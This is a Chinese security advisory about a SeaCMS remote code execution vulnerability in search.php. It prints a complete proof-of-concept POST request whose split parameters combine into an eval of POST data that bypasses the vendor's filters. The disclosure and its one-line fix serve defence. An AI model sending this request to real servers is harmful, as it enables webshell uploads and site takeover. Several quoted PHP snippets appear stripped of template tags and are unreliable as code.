海洋CMS0day漏洞預警
概述
最近我們的一名安全託管客戶反應,其伺服器遭受到攻擊,被黑客上傳了webshell並篡改網頁內容。經過我們為客戶安裝雲鎖防護軟體後,攔截到一個針對海洋CMS(SEACMS)的0day漏洞。
海洋CMS(SEACMS)幾個老漏洞及其修補方法
官方在6.46版中修復了該漏洞,修復方法是對用戶輸入的參數進行過濾並限制長度為20個字元。但這種修復方法並沒有完全修復漏洞,因為在替換操作過程中用戶輸入的幾個參數可以進行組合,因此補丁被繞過。
隨後官方又在8月7日發布了6.54版本再次修復漏洞,這次修復增加了一句:
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";
即限制了order參數只能是固定內容,這樣雖然避免了通過order參數進行的攻擊,但是卻沒有解決其他參數進入parseIf函數的問題。
海洋CMS(SEACMS)0day漏洞分析
我們抓取到的攻擊payload(POC)如下:
POST /search.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchtype=5&searchword=&year=:e}&area=v&letter=al&yuyan=(join&jq=($_P&&ver=OST[9]))&9[]=ph&9[]=pinfo();
可以看到,攻擊入口已經不在是order參數,我們來看一下search.php中的搜索實現過程:
function echoSearchPage(){...... $content = str_replace("",$page,$content); $content = str_replace("",$searchword,$content); $content = str_replace("",$TotalResult,$content); $content = str_replace("",$order,$content);...... $content = str_replace("",$year,$content); $content = str_replace("",$area,$content); $content = str_replace("",$letter,$content); $content = str_replace("",$yuyan,$content); $content = str_replace("",$jq,$content); ...... $content = str_replace("",$state2,$content); $content = str_replace("",$money2,$content); $content = str_replace("",$ver,$content);...... $content=$mainClassObj->parseIf($content);
可以看到,代碼中對html中的searchpage標籤進行了多次替換,而攻擊者也正是利用了這一點,在多次替換過程中使多個參數共同組合成最終的payload,這樣既繞開了RemoveXSS的過濾又繞過了20位元組的長度限制。
在對參數進行了替換之後,content中已經包含了如下攻擊payload:
if:eval(join($_POST[9]))
在隨後的POST數據中攻擊者又利用9[]把真正的payload利用base64_decode傳入。最終$content內容被傳入parseIf函數。在parseIf函數中判斷含有if:標籤,就會調用eval來執行該內容,從而導致了攻擊者的payload被執行。
function parseIf($content){ if (strpos($content, else{...... @eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");
漏洞修復
根據云鎖監測,目前該0day已經被大規模運用,而且攻擊者使用自動化攻擊腳本對全網SEACMS進行搜索並實施自動攻擊。我們已在9月份向CNVD和廠商報告了漏洞詳情,但截至2017.10.9,SEACMS仍然未發布該漏洞的補丁。建議SEACMS用戶立即安裝雲鎖並開啟文件防上傳功能,可暫時避免被自動化程序攻擊。或在echoSearchPage()函數中增加一條過濾語句:
if(strpos($searchword, {searchpage: )) exit;
本文轉自FreeBuf.COM


TAG:雲鎖 |